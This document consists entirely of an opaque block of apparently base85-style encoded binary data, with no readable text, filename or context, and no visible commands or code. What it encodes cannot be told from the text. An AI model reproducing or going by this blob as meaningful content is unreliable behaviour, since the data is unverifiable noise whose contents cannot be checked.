zKNk^{QReNZh@CaX%(EpCvjpfSML2jfa@q z$Z%U^s#E>vj-{)I+nQ@2DV7)EgW)G;hN3d0V+>|*G&afc;9rHylz zsH;E!ym_*)WEVH(I>BS2BX!FsE?9AYguCZ4Q~>4m+$Gn^gNB+GA?^A@4J#B$4UoW_ z)+6m~=MGJZaw#(X;E`Ow1S~PB)x$t+Ycj~P=ij!{MT(SQoAfjKPjf1zs0<*(tGDWF zUvjH%7j?``pM-3GIBO}Ile+;wgFqbnI{aAXJmrkq0_0dzsZo65Wq63YMz|)k`gvcG zr*rZOHH5?VD^-t|ORh%x%EwXZd=OUf#upoift}=ut-alsZHlj+p{%0v-QxF$pmCvu z^V=@0Kch6{N1DU5UBuO|6Pm)#uRsje?ijNSx*j=LiOJX)wTnKNc&N`k`aHl;sZ9f0 zH(AF6m-l_|fXd=Zi~?W(#ls)>(mU;&$qjM1D9zbsaGlya(E1}1z4W8ibk-5?V0b5w=Z z5DjzqyvK`rT9X~*h<|58DFMfXX)pAWE;;SIxeJ;xTYrg6lRr!|{65j-Q(%pT@|oNU6UI*&5M5j*}+ zs45fpr2l}LmrS1K4%1M^AYR*k*KgAqoXCm)Kms{mfF|--1c=8*gu0&6(uT11hH}9@ zk=&C?IhTvweh(LE+Qt%jOBy(vj57~f2|zf@wGvTGp}^1q7Nc0ZapU!G91pxrYIlhZ zExEmIcu$Xr=?Il8zK~SEY^QxxLYjRxn z;Vg!=_0SrxA^=Z)37-*nsr=Z<(bcqTnygixmgNG=j%A{hdxf($9&)Cd^w;Wnx}4>g zAMJiJ39Zb4iP?ldd2_tWdSTjDe3iJBaOJ@HCHLo`1s}@iV-6lXVn&SAi+Jd=AV5S$ z0fJ>6sKKY+pMmXXZsfdY+or8uoqK*p&5dMg{2aI;yZ?DuT&( zbrUPcfSV*IYdr{jXjuz`+H5!L`3!b+fMo;?cY)=_FRvw$C(nYxl=#P{5|n37c+Vu# zm55#j!q}RGeN~%qbJRxu09?T0vcBdR#&Vb6MfxNl&kU+A*-8{o$lxm&(lPySjU3iw>K|59I4F*kNQrJBnYqMDr!7<){|6jOc7lLpV z1K83Po00)*LBIYDB)$+ir~Sq?&9e-NtQ|5K6uZ6F->>J)ksXtq^w*Fn@=255T;o3n zC;Cu=t5^DcA=@)UvCQL$rZ-D_I87XXyPuz`Pl1}RRj=q|F+T+!-kLtm_{Cp#r5#<3w~idQ$H~MttD)1s*Q4y@%yU$r`>sG+NK?`zDi>?{C6X z;kd;T&*m5c9hx&bJZ*w;7+9F*`0#P`J*@JOtC4vmC>}_s$EnS4=Ix}44eJ(A>jH_6 z|A>d4U6EtcnTDt5*Ie;2hxgX>&hyj*KLmaG^(kcxq!MyB8cb6HN-k*YVax+Vn+A)$ zH$E}ghrdm^2sqY}^T`SK)U_8lJUO(pc*YmxZAy&bF(n|}^^(IxL@j@$lF#_=BRK$ z=~G(1rJ3(jn^Iw2ecZWZf;PY0z$v`vz2J|t4}($$ZkI8i2)*zt84H<%lGxc8V=)Ig zMzy{F_yXy02(&0HEz@4q(ZWd#;_St z{rvQ7N2glrDdu^<lmHyB?lV zbi)?1;VP35iI-CQiEjt3USxbiSTAunl=1gM3OT4vE0VM39!Da-`Jp6J*|gSbg*H5_ zgduvFbcBOTM}_OZwi%GI)K-#Z)vkI*Y-_7ZjfixQjsRleNDxLYr`5OLq!4^-E38#pSXNm+w_`Je*}a^@2kDtC1*-oGCEiN5pa%}%Iyl`TGFfG-RqM# zy&SZ2JI$6@d0KOqxH@c)N)N#UVO~_ew>z@y%kb`00AvQdY}!h$Ge&>>NV`EKNA&lD26}YhXJpb za_Wt1_w+fa!M^!uq<7Hf#Tt$I#&9?iae??*dno)zn)r$GjL2tddfEO+eI0wCyd5h`1>SF3;T9#_q~=k)uCQ z3&(KbLKLOtJo&SC&OX=p6h6;L>3BYcQP5#XeaGqwpW`PTH7(p%&1c5vwu~$s{-Du+ zre-$5+dPYK`oBGxbUII{DAA`{F!OEhT=xW=0zsylTy!3UTt4(SAeZ>_03_%@vR&0kr_vh+Znx-#&A7O1{ zOxYHyGpDQWnGX*o1Y-Uz)%1V)FZ5DFX9%2ldRE3JA>y~y_Xk#f@->!(Kk^yF8T;I9 zknuSIJ;99TGY$-}tgCDTq_{9>d&{7!kzC zDoJVuzpmuWlBK@!dcSgy;hBw*K`21>#cmRzrM(I*$MrN@6#N$jn!g3Z_7o{M;O-L? z>3EkaPJJpq8u&cKEt4Dww4#GHAm*+iIGI#^CM&^yMP74Nx+V4kY16o1xc%=?pH?;m zUfbK7OJ({}XAf>)yKn6=XV0553G-|INM;YEtI|T0VZ10mhP$Y4Z^Zpcw-pEu8KP|F z+ZTt^dKyOL&qq3Ap@vIO+&7UG8+!-Gw>#3(&Q?V4^<$PZf_Kz)N_^v3f=;FhcgO}GL{jvpBhx*&e&JJdSnhK(Te105r zhTIWI`vxTXnsd_#mYC3-EhYo#oaWK=!)25$zRE=6P$8NN<9@(yr?aN+C%*!o?bH5GV>XUlR50u>A(j-J>ljMIeWvHdP_ zcRUOAt|GE7qz2?Tgc#WXMw<)=XGDKLh`8Ve{YqQdXK^pTwd%(FLaYTt!kvS3md`JH z7>~%?>vF=sGEW&X^{>fMyoWPm0{L$F_3#2hLe}thL5_5eiy^Z5C3QUT6T%E%o!Q=M zhaJR&Zc%LmnX7c)53H+{o5Fy-$~l29ojPvjI%d`$mq-K5(i3Qfn1kwvYynxedENJ_$+A%L@Cs^b(WzA=}{+qPfSjU~rOF#1@sgm!`%;3k>NrM!$Oy zL3h%i$i_n{1L45AUd!U@qy^GH;;Utf$4pBpNnF1>e1!k4J}q0QD@%sGz;5?-=5GFpWC#{`o2Aihc&3- zY(o^{K_mz6SXKO00sfS`hmzAHJTY76JbK*z&lCk(GZAl0f-(h`FFpZz<@t+Qaer40 zyo~y@3xIn)qPuSjkX5e)bEy{uSnZ{2#xlJ{&?m^s@|S>~ut`aiP{0cHUR80P;4>XM zU1Gowc%MkgvBVMva{itP2QN$r+9Nr6lR~(rI`xwy7*@of{;^lvgdJ@gV6?e_@1|cL z6Fr<=+|>2&)Q|DMox92T4^E}GWV#HkP5ok|D&_ruPmaPMBCPr)Kh3HLWT#R~Q;MiG zLrx;-)KHZ>;EoGovPk|Lpbt9|=WR&Wm;-9c3lz-V=a*~&IVZWdjQ4?`GHf1V1-Q15 z6=J=Ltsj5~Gn;tDWHuLluX{{y8US~l#=9DSvmxInK|N_7RzLO!>A`1Xb+TGVkmxKM zji)(}50k@;!lGku@UPoSIzC&_|AMDQu4rti<9-ccxa5covKMW7Mk>V_yX_?=Q*Ztu zYy`+OPB+Gt#a}o<4GeY@`_pLq_|Y-MN=KlFjzLS>L8xc)=B6TM)fTNJk;IPNqovM zq24x4M9ndGWqzW&!N6GBMNdmaleq7^?S|z@?7Qj-%Tey!?lK!cRd^q!kL|HyP)4&# zVPK?F{Ri+X*enRrGer`IpHc-y1_!scDE}DGF08fmb6NRU>jh(Cl7fmnxl-zKZe!>M zNuAUQnesF)fI5`V`FEydEC~VTQw4T|T{@IA3S582D;tci^>pZr+rGxX&*#Gz*{s_K7wB{yCs(1CT_Uw9!OBok zScs9ei?b`Y4!hp9DlE|GUueB%Py~ZVXe+#^KdNRb;GeMTU{ra-+!He$4QKPpnvC{& zrh|FUJ=5(?gm65bb;7BerkVqC-2 z>?$)D>8o^geHyzt4XlW4JDOj$GEFr51^)2`M5AtLh9(OMh-s|K@8?jMu6(#s%zZQL zWyFsbr^8SQZ&(sV^Hu1lmAcB(YtjWKWKdoDMKOADnvtXI_YZ}aMl_;IZJMk|cLJQF zT#M&jfmu^S4Ei8#8y49hbf|(u7MqvoxXNCQqw;!cfosHt^*VD11zez=w$S7CpZRq9JHIV(t+#rCv zBcDH9)8C=f3dUAp=mQj8OKOns5u;Br8bR;yPVd=XdB0q$5A3)$QK|@VKat3~# z%qiQlBGXyDYmJNY-JtjjYlnLIM77Hr^+>@DMw}Yc##~j7^RPx@YInbc3nVtG_xhhw?nu^&C? z0N=IMKSENR14$8gL4!-^gSXI?Zk2bazI8M&2vJHhqbN>1E8S3KHlHtnfC~IQKDIl5 z$yN5?f&XiDnT^d#CxIh5f19tpRl7&KM%A0%K5h)8E*^`o<>NAN6NE3+(Qiw+X5)s2 zI_~JX#8^##?7ME2@vz3wwsl**5g-LXkx+U6eXW#8R_hJJPGj|VEWd9HcyXuk3YB5nJ+)4h?Q-OG zZ)zG-^MUiF=KKHKQHMIR&b(N&rTJh*lL`RY3wt+%PK{z)NWQymwG3qR!YB~(=PM24 z0}8KKAbk8&6i{=XzeAG_{{BR5ypo}}!|n43%PRrQd40?Lrn5EFe8|Wsvcv3bAaARh zHdrEu3)vRzTSY=a-##pRwqrQOzik^9vf?6T)^3Ec5J{Up!i&G)a?St*u)Ui)Z->Ue z$@8kBDD8AIi^mRvx_E&aIMW5QzVL@gGv+-bP;IDgu`*Q`@CdJEBq8^Lct24DZWOzH zouqI{;3}}seo%~ju5RzT5Tb4hr$k)IG{Yq;oy$RWkeGc(L*>nQd-C=AvTAdak1#TR zG?jF_89=`D8qnN>$Nd7|f$LWGw3k>y4SG zfmXnY%RzSRS{#b}<4XmL#9)VG974lG>xNQ6v=!z)@ie%0f#k%-zcHo9TCQZo{|b*& zBAho~k)YRBxSVdRYm=25>}#XSt5#ju&$TA?^P^zDpGN(2Q-iDW5tvI$C7;|v5>N;= z%XL`BUY!}Mj=libe-knS>Y_d&aKACXyFa#j)PoCibp2dg9UgS}7!V4aem0?Mz+Py_ z3N_V?T%=pWg=D9xRLm63wTy6Bnf|+}oUx;d*1_ChEj}wCllSKAD_zk5xOS zN?yRFB>#WJMb$LB2n}n+!AS#yS69X@0DAEyBnWVC{rr^q&Ar5wGue?(^Ze&lDAV6z z2%m-R)j6`FO!cja+YoL}bu&(**H=XSlu7r!!zj;L*uj)gx5vy|htLOgcXGw)8e$oO z@mas9Tbg0R+sj%?F2b6*Wn)QN@&?HJ!Th5Gd+j)xc*5kLs=~i18?RU}ybSHX`8E1~ z{-%4_>9~ayBI-D*NVOIaPtL9u^Egf^N=F<9{PDT?!{1MLXxsR}*&xIxBo43qQ{rXp z2OLoTzExEs9JnP;?uwoi*Q8X{rmG>jy&E9%Yuk$38l{Q55w*R|i#CS{%H~x-vluCg zWuzj!SRAScK0NNk)FFvndH~{bD;6a-)SfTii3=L0X-Hi22HJ*>Sq0(yzD-pF+c=vA z3eX0zLmN}+@^DwtRTiqupfOGS%hSw2X@HsANQbKsyIiW>TTsyK_PMsOFzD$v>4ogm zo`V5|fC%cCkcYTKm;YN7C5m+#aFzSS$rXM~emxO}-Jq3375>UWB^iL-bQE~%2Ir_> zIIL2>JI7Nz9C23QHL$p{l`wFFo4t4PtPz;Z6_w9}r<|scmO+I!K;$iKW%Im77_w9; zZ-yeCk_-0&h3axu_C+8kwNQ33@Vctc{1{R6VCa|oUWqa%Q&Z@?4mVSGVcD#28kdWu z?kDzm%>Al%*P&weMqnP(Wv2-mv_EY|3})VTPzO{+$Na`xYYRzh_Ol~*BG|&t_f6Z~ zMCehNOqEkHZ(o?R&1!x_A0#VN(e_k6+ZU7{OY+xHHmw2H38V35qv0>ug@DLybs4$b z=nGAt*5RGKY(GMb#GEN1TuW3`QdIh#gESu0lw0#OX{Ixtrk&jKPYbWADEMSxBVwPb+S&V@PnzcaH1)%BAMD1sWy=|I>OCtoE~$>kq>U0FXTv5`XWc zc39{b0{oG+8SV=xkl>pqyxBISgxn@$n++i%-31Q%Y=y@(SN&JmC`MFxu?z%Q73*Hb?&X(f_yfa=LbSj)TO%si9vw$k;oU zlEwkt!pIGV4nR>!1l41);Ri$DHSTx8CaZwHQjo+>ksa$k`FnnvrmOLlu9J3P{7{{v zQ`=Yq=b2gG920jrf_W7AP20M0i9r-RpqPnvaXIHKt?+{%D-|_T0{JG=>1chcE~^1} zJcT&+z?r-e4O~Ul)y|mheW*}zY6-xW2IVSL3u2k@hzdpv69paHj8OlVIk3< zKk&PsY*t<$RKs>D*C}2khY*gD^gDK&AK_UMDhB}8J7h)cZ$D&7Y^9gD@wozC%d;Dq z1;dI6^`^ozH;BsJ#$(tuqntdjsg^nCf5%b+#PJ!iav)?i5Lro57BC4rz>#~?HVxaM zYDdlxgO<->5!2gaE~Nn-*=z2iTKZf|PB}wztCl4LIx?Fp5cUk9oXtktujy`W`dGR6 zekjoUH6H{b>R0}II^|L}DeTw73eL zmR;|?9o#de(x7UbGrpVCWB{nQ3}-9T84l35^9CMd=rcVa zM0n$&8KVPRYiFP~L-;SV;oD28-#ALwA0?Hr(_TsohL7R&J#1v|8R(d|MN)^QNd0O0 zha2KMt00*GUC=w>$HW?OzvqmCSzgWKi*FacPkRL9iLS~)Dp$kpVlkcaeKw864=VCk zii0CKP(w}tyKJWxDeAN0XJl+3QJ@JGtgi|miZi@rb~s=37o<|tm$bF6Lwfn8;ElCLfxgm>#e_(cNWN`|&6YCvs2B@dcQLGNJk;nC0w{8!*tu?w*JYw>*!Ur|UguQ5;~R zd7{5b5*Yj6J~^by@EwD!`ZGD`B%4w!OMl_$+BD4B>@QV+Ly^;TMmzSOO-9ZIR1v)@ zi7D=#jS;MJR!r|K%JM$wqNFvW>w2z2>8rD{h>?xzmKeY_Yie3~UWJ}f`V~p2g0w!o zWr;*ce}zl;nA!=|w7NUbB_DktJbz4M+czR}M~v7h1V{RPog4wp|V)*ZiseFA8au?3r;TLE-?6Es%k)OAe`c zpHryJ<&1sUy63)R)=p;Eg{ycLtu_0()+BmtTkT9^DF84q1YMwY zI>4l^ZE#Amxg!sf@52erik*i#nr(>MviT?9Ofe4k^s948e9?}5zaE5gZL<|1^-!b_ z@k90J=)3pr9Pu_IXW#Z9A1>UT=xE<_ew{^-of3Xf$Io{=ASDC*)Cy^mr*W<}VWd1R7f~d#rSS@+=lHOZHJUW; z)qu^^rSG^iGaDzP58`4l;uZmNIUs`?z2+|);#6y!kA-7J*Y~9U_CjS(*pCui%_Vyk zO0^k{dA;j|rO-?G)Go2&@S#9ROvrpq>XeN3F^qX?wdK1Ba%(fHQfo|V)9uE-VS%}4 ze#&Q%$jzXt)tkWeLcWCk-S@eNrQK9!ap*o@RApvG{ z$o&%6WJ5GO{4K2Mnm@jKl7<(#v#R<9?X2DHQdrmgLD)LDv&u3k8FNSLIK1CQZ;ESd zvp>K7X)<#sxPi?7AhVg(Mhkm8CJhsc*1k6l;-d@~CUn+#U;UusnN#$C!f8Bo&ktH4 zIsvMVU2r9ZkN=CKY@QtZNyU^H_Oe}6LWZ0~Dz*Ky&cNZ=gV_jMV;gdUvt;FW&6#I4 zuDkma{*v&A0(Umpr=6CR?nVC9 zG!+i3D#Np$dAreI9?z@dP#Y1ySbt>GUZ%i-flqCaN2)Snj1*r zQYAXP16lbmQ1Ix?LqOlE3)v%nZbj{;+4~eH6klx~s7~g%i`I_*4-srucD3Z7ZiPxn z-&|6jmNz_(5fe+7Hm=N7`Ohm|e6LGeDkWd_a0@8}HQnRUuW^ZeI!(xan0r#55mSYk(lXO9U(93@ zs$Y}Q`PU1`j5Q&xGfzB0KM1w6Dy^sH=l0beUZ5rg(8|4wG~76A(iG>GR_$C2lU3{| zM$o!*W>OPgCFG;i%uU`AR1Po8-$Gz?l&YdEkKxy>dPt`~Y}TyxBSMuW7+ztk5jL0P ztywmleL1afsakkzTcm)6j}%1er;t@#4>EG;ukeGp%nNfRVUYyg5B4Dxdwv_kN)P2G83`2q{}hMy~^?fMNlJ6 zPB-%V@cp5KA2o<(XNG?7n_+>$wQT3%utucek`glA?@wP~@3E)#RVviFm=iqkDr~%5 z?&hpFE6yqTo5b5+G*arwn&- zTUAbv03_tT5Tf_NZVnL!J9IX|jmitwA?Z_%C0G0&eZ9=~fc(YyNTx5eB%s1=C4PzA zLX0eE7&#rU+?*OTb1X9Z*Di2AV^Yy8TJy9xGJ7;&9N?%Y(n*vJcFnl=ZHInOQPcrU zMo4?e_1A(@*hBUs-`0oMq{?g$%PZa%dt)!s{|%kFuk_b&c^?ri-VA)txvS{NWnOc5 ze`f{ps?7}g<01>`1DsepZ&?BSy)GD-`<$iMM9u!l2O8WuCA0~? zbElAsnj#V<9{d8Q*p!&_1&8~LKnBwQZxBWl6*K7_cjV;zmsoA`OJ=xaQM(H|yi=sl zk}8nuvf7JcL^qiiK!{JgV{vuwY;%={myndZq=`-Io%S@e;P&!?^hzFm-)l%n^y!fn zZ(+}!;iF{-5)*5c@JltueoIb*Ow*Tq*%`CX56MKqz)!FhiESxsyYHNR3(-p;8Rs)bNM%Plm&S}%nVd1d_q-_NG%9T3J$ zKgLD9pkZNgixH?|m3XuGG2X<_2)P1U8bC2u799@H0OGtF_x5x{t&5O{TG96lC@?fp zF(@erOu?EGgOvxthK);So5FitXmhQEE@N7>iizDB!E0;^n_}sVlkKPB#>#(r=Tde2-U_PLd zeUv(cgWiDQe8FrK?LvT8x+E0`hqzP_M$6k+B8-6yDs3yJZCDe6KIbbAuMpO*GWJlp z>yh9XsDEwWfJ&9GDNO_%lb~j{5^fnB8!)u`5M|B$nn*m5*cZo!u&xHHZl=N~H`z0j zkGuZp@m6Hzf7L#JGe6CYy2T;-0R!9Zp}S>4Z^igAW2rMNS9zqT?CX3E@7r!k{!7}) z!$naVuS~V+H|E350a%ZE+*IQk7kjW5(bX#3O%90Pu`}eZuY7Kn=r(Kc&^P)7D1m}lU2Hjq*8lN+Sz36 zj_^4p#dn~+JeKxos36royA2p08<%1;k#0v!94M2>{^~hOx6nvquL;IY+Jk}@B6^fl z!u!(13EYqS^i->U<8wF}hv-e&t<{!|Q6_GtQMmxUruvCWzW^@}2w~)?;R;)&n~9wc zpW)rn+E#s`wraD@lNSsmZ{9%hx+lEzKl643Uxcv^D5+5_&y5hQXn8O6zWPKafqAyq zVT>8*4;#%u4H5IFZnVg(rC(t8j-W}8xcR)K_pfQ97)7WR_cYBFA0g`Yx;~4ab=`Wu zHkRp^P=%8^h5*;`@zjylwV2 zB76~Ar9cM$Z0P!zz0>$MmbdEK3qB{BWyjf7uPE0m%gW9^X5J+3+1VxUY7!baq zs{oY%v||{D7(*9>A|iFl+7qxx)8_i()1$D`2+1{C$%VZzsXf)IJewnju%oP-(*OKj zyT!{*U&FV{9y6(WUyT_8`c0xXm#koDRWXX`wyyM_{#FP9Vk!2YDKtDRq9@@oD8J0! z$dH84hAx=4NOgGK$OGPM2a_7i<(6msrkx{?Y6YT{Co<^e0yx&_S>HPrgc^>1XkV=q zFl#)pnVZ9pJ+M@eNkC{%NmO+v_-y!O@oYIoG`D^nWKd9j-|cC1WTb}Ry9z5ysvsI> z7K+tDbSjaxIFd(ZT{-5QNl!Pb=xvriWd44REv4@sIo-+z5$n6n*g=OOG7~Oblx^?R zr%F1HARephm0*dgj&H>7BpETeBEH1;#$=3F7VzAk+pL`Tr7wM(QJAyD4}=-39vR9 zL>p=sDzO0sPl#Z6s!glIj4&vU4ZZ4f#;!}UEn1|`#&ZyS;} z^eB7$4WV$^?nCi{@zswD?Kln;3N%hWo48Lg&Yz~@VhO59*ziG--cuxEYZ$sSIxhNIiZekQ$ z*bTCh>AeyVCif;T_8kleI9>Cu;DI{o0^rmebb?;LfcqW*b$AFUkL1@jbcBqF!&3_&-m+T** z61TzzN2T_h=H@Z~_l*<9CGiTSCaQQG{ZHaOZtdhNcnEIS3RrRDo8?<=p*_aS)CxbyCm|AgOuK+QoB+(>=Cq_(|X0pjlVlO1}i5jl8iIn^&td_6%Qx#~az& zc$Jvjxj6e_RQSm!JBu+H-fKba+qwI3J(Wwm=Q2HPQjC$7Oa$IczQbn#9{GX;+9BSC z*<~kcRU9@`>ALyt;5u-D1+)H`<)q zn%lO*Z@6+6NMMx6SEtfpsZEtz)nOe~ptR8NhZ8cY&a0p_ScsIxp*qy`AtWhV1Q|u) zGgz=ma=3cVM;1}K8JQ?qz4U+zZP|D=K@JB;0`u~X(#FX6CvY|G#E$u7mb-vdm>I=Nji$qM$Sj2$eOJlLRu7j!@3^RNAGKAUz%TY&&mE8f}ra zBtVlLUte&aQ4{03P;L-AQot0SNP0z^!$hbQrx+#6c%Sx7BX?@&%A{cCM8S}Y8>2kR zB};#N#VjViIOprO@QJ@lnyeC2W*Hp27$hN631`_a&l^Xp&cf{9Wu;g~hU zA#ZALtRo_YG@q#g|idbLM{@R7&K2VPBdudqhZ* zc+FqWM8^MYMt82!kV8^kx-v(ESo^?j%V|UH12hJvBx{+qG7DDLSfQgqMD+&(Y z^0q9a)B4wm<;?bszoe$L+})KpTj;lKh?_^!-)%QI4%afdT?dlOzY9bCKK}YZX55|a z{&WwTNQj)*r5t(Ovyp3ow&3UtkqMZQHBaGtpc%uq==Lgi?@U9xnfXc@hy`SScy3bR^JGJ~q6MctXU_oGz{N^OWs^J0-^;c<%6sK^Nk>iiw z6z}0M&u40WV*U;oYqtIGhVbrGkO~e)X@$h92P~h1fb;L>cK%&_>9!@ zqGcJqn5%`6LBF3T(8A6G13>@%W(4l9QJHkI5MsLbIk4*w&K^rjwSpt|WI=fPrePn~ z_b!Me&7iUfXAUK4+?^KSTf@`eT6ehP-Oi6YzF~(wsJeN_duyk~9EtyH9whomoH`!# z+=~}`E2v+mKve23PX_?Gp^Ln9j?r53K+73NqRox?T}fmF^Ds0ZQA*a6MdwNx+gO?c zE0dNLq5G)mCW-9~0J|MEPs*$hiuA~q1fKmF;Z|!I{8%dX6YtAk3?+9(NDiiT?sZeL zG<$flShOA_J~w-1rN-*e0BxP;5Iif>c|Sh*@$#G^iU0G-Ks_W}q8N)V{mlW6r*$By z$7;=NjIFgvWTLvwS8}tu$9+lSbl+F762J>yS5c5FIFtc~OTp3-KcNtf!K!4!!482Q zeNKK-d#*lsU+g1mP>8$WZ>!v$b;tiZK{GlFJ}yWjV_ji&wpK$!fpqPNtk+|(dh`pG z&NO#*96zb40;}bvJvRMcR_i~!rM)x(=jsV?68(RMyxlo}lRmYYy8!aE-DRU*Z%~mV z3Fdgz4?JQ@gsmp|%-2%>oZl;T5Q+kGEwY12B9MC4kA}BtqW=MMH5BT_oJm6}7EpwP zV7yqNSd1>&fJ2${A?-XINdH3ey#nznNz#P}u-W{{?LJ*>m^`t8d1N(28M^g_N_(W3 zXyF=)O0~7E%iAv2UPc$hpdIt!Zl5q>P>jutrNjE;s@EyN9TrMYp8&88_!l8J zc~0mqlNFn{2*5JvGokFIT@43UBzPIdRjPuDJ&YS=BCj3C{1Q$hm}1pjY7$ZJ$=*Np z>zKSe_?=Ptvq%VdiN4G_lsn|jTwji9NUJ>m_y$u>jVPxUL#2UHUWyQ4l7-|uekc3i zw|*>kOqA%dWrdFh&5Vw(5A89BEF?&&%=f}rJU*pvC>#c4P9R}9-jCKtXwmphm+WN% zDDs9<{FFN4Sj&E#YVuG;u#u)oMcw!;08naL5=$K}2OnTB*u<4DJz`=w^HxnbQR_SYQE>snno_qxmm{ zT9*amt7hK1DBbD>LH_QOohK?O6tpo2uEM!yPJ{;O0_AdtLuBRMDJDrpW#iCZcL4C- zmN_&@-^^je5HsqC$VW}W)Eh%J!I_R z&s?TC@e@NEZ^enSpHjv`40zt)-k~3TlmJ5~DXgWU9TlbC0YGQd_g(F^@&N$C^?V>s z;Yp_P4aY)F=ESLAHe7^CXD&8dd}(2!mB<_va<|cHUReNS%R}k#nrAwJ8G4s_F;iYD z4k&RP$=bs?l(G>*oDY*WTpHOqULXq-9wJ2Y<@3ut%I=bn>fPKPSh^@Zd%;Gt7LGxT z7rOz)SP5fAJdEe0Fr=&e;X<6`?9#CjpdYYbi{=8nc;|l!Ao&a412iBMGUwg6+-ySUv9=GvWFd;g?t$P( zWwyvk?y`w@c#UVH)g5BWKc}Jm&OKdRhmVA=l?#hzjVBu;^wBI```%ElB%Xg< z1q0~fWel!7+@A*es!wLXoM-8YF6mXqio@1FL(@3aCG!#sog^+!S#S0tB2TIIp3JZ^ z$Svn*w6x+(8fMg%n#-VKqB)YN5*7;54JsJ{y8hO;nNXZTa)Jf;a)1wc z4}kQw@^-yjHc6=~K6?96h3BrAkJcS%6j*I^-gI=o^z)x~bw$6Pil&?$FWj{{A3IR3 zv%mJN@8Rte8f~rU;qikbbIB4XiVODTK0#ve#$)6DYI`hmG?Qq24Ag^bAZ)=WJG*x0o^H zgM|8YLDpLd)eR&-d(*F8C5vbHc1l!$Wg|N$+3II02bNdMUcwQIj@wY8VQ512LI5XK z4{7p9?_Tep-SXTgO;1bYsu^;ay+HQ?iBT0b9#v;gtm$thi&i7jhE}tMILsLr-sg-~ z1W583&>RdHkgcYYW$cB zIj~mvC&gW4wNq(IFVbgeCxfZE&&8G+WXgxb5r$4!gG_5VR|* zp)*Sx0P)XL9WBisJDg_viEr-9x!Q!0hg9T6Jo{#bTB>`!%u6JIHr+GFz(kED(v=xh zoMaB1l)&33i9QLcnZaZ&N)}rNT#u=8@oujLGE@&j$n~Y#BnO2`#`1_{?DWbzEoSI- z+$fE>=@)U8yXMcgpfi)rgO#$AAvS3&!IVmILPIHoCRHjb=@XDC8Z| zu;Z1aJYJ7@0FfIC_B{(Xlt7Z$49nzX*LoR8G1JTx`BiFSRar}98XB(YL;T`l3TF>k0gxQ zufjlSii-y28TRPH8*jnx-zD34uHM!^jO6pYv`B5k>)rFc-s2)Z2hsKYVt|)R+FO$V z#h{2svWn1CN^cPrHQlLj@h-2%N~)skoxl($?a4`PS5zbcagZ#j&~a&)87?Y>f)8%X7=|O+k#K`Z6&#a9uZYuL6p>iopj0xBPMWB}S2h z{I>R`pTsolxn5eJ?WE!Xg-48^e9zEfTQWvkCHSz$vMO^mhD5lgWDF68G3=5s8!t1s z1{xF3KlFABggC@kAn8@7`Nz1_TD?V{5EqlbRf!btYkj7H?K*H>M-NQ*@FNjuxVveu z-_=+$8e{a_Q0+g1Q{+u}NOfbtt|4TmjjBO*+fP;+8VQBtIX<=cDZ~yl?U;{5CCVt+ z%fkvL0ZwaxT+A0#$+{Z*ZNRqmh#&?AjKJL}F1u*Ck5w$tEY(CRpJ#-&Qd`>adqK7U zx)g@1NfEZQX{2i)&w!LCEwE3-i=eC{85`DYr*ATG?0vkc^4YJVcP4`u0jyiMYM~;I z+8^ux#jD2@WQ9R=>kPVlTT;Ox6{nSsu-up>8LiPRi_-%FxFA+Lc<8mw>$wRS)T!fD zl{8e%PruNp$%5y^2=Q~wZdQLA80}uK^eT(5Lt$Z?)D$tH_f299bV$xbz?2Myecbym zAbLDLX_kkqEV``}ho;DD1%HRct_lI&XQ}~2n0Sx>1l%b-=x2lny#ey6pde3sF%N^f zHf-yb!ppnQp4fv%wIyJtcsOOoz^0`4dpxSc07|O{4Of>Za9aAds3;1Zu70IW0KA+*dB=M( z`J(2)wcJR~Ll|;s2}DhT^LctS;nxG5{GuN#SnSK5eYx!~l)+m_Yr+0z_JM+D4QtxJ z*X9laVl6%W>g@nd4puih)C_!4AKi(jEMOk%^cT(}bt0_aR>@y6&ADse&haI7{H!^s zoOOX_GrWQ1%A1cpJXeQQq6e-U)C+J+k~cjI%c!Xxm?Px;8)nwx%4o8h9(YMn z%yVAzhM%{WfXk7}2mCehYnx0k^>;_|Z4~nqZcBFEHYo{2y}Yc9mQ;+#Ud)mb8D-%p+?d38Y|mB2DK&x zDHz6S@U6dJfFmbwAPVsVvEqZn%{Ew2InHm0jXN`tGxOBMpM5PzKO#Yc51TF4agu@! zkq5{KF{NK~C1?}PR=@k#FM+?~+XkZAMC*9VCUjvj#fcQ4t~zP?LzjWz*sYU_KGc zXMPUXNZm}&te;ZFTxkIV^eEPS0j3~E@JV&Ap2b#@ab9ZAD)1{Rst&W)JjgVW9eZ?= zEb*YYEk+bVpE z3G{qA9*heMQlOqudN%P5Salt$MK_>j)&#rXp{rSiM{pAA`9tv_b$}lpk+t3h{Bb~_ zt9w>0eAxwj0cXp2F}m>r#gnsBeXlOIr@5-vOsATgxx}^z>sowAq`~$*p11R}{j^gc zytcUT^vuy1AwlHdo$bgzJa+*-10or(BsgU}X!dy6_r|bbCjPB+rdiJLPWNH{PII}i zrL)EOcl<}}2@QJCo#8V+rDIj`Js8dst}p}uMG`2QoSIL|ImvkF%}55J^q3GkR!g=nr`KGu{F4I|O=|f4B~p&wq*g zKsi}dijW1~bcE9r>0kOICONmTV=leg2jp%#8!%=6=oCvWZ8k9=k1pF{C9N6pAqDN# zDSe7@Bi}bBE{{@!tGXlj6rl5*p8H(@vRF6;RGJHIGaweZe1;jGGT2@2?r$ zW^GXv6lXTUSo`mZ3FL~sJ#FwO2*SUQ^iFadlbwzyr&%yYDgi*q&Hx_C4jUY9uZ=)w zK1Ss;s%f5^w*HygM>%zvYDT?|?_r8uNKF5*@#oE>1$Gl6%lO6r7C2X7A-LI#D;6E{ z0i|LN56tKJI@vs&K;J}g6CAf?qAlHKJec|!U2)vV;(qAiHWiwyHgGY@cqnBy)G%

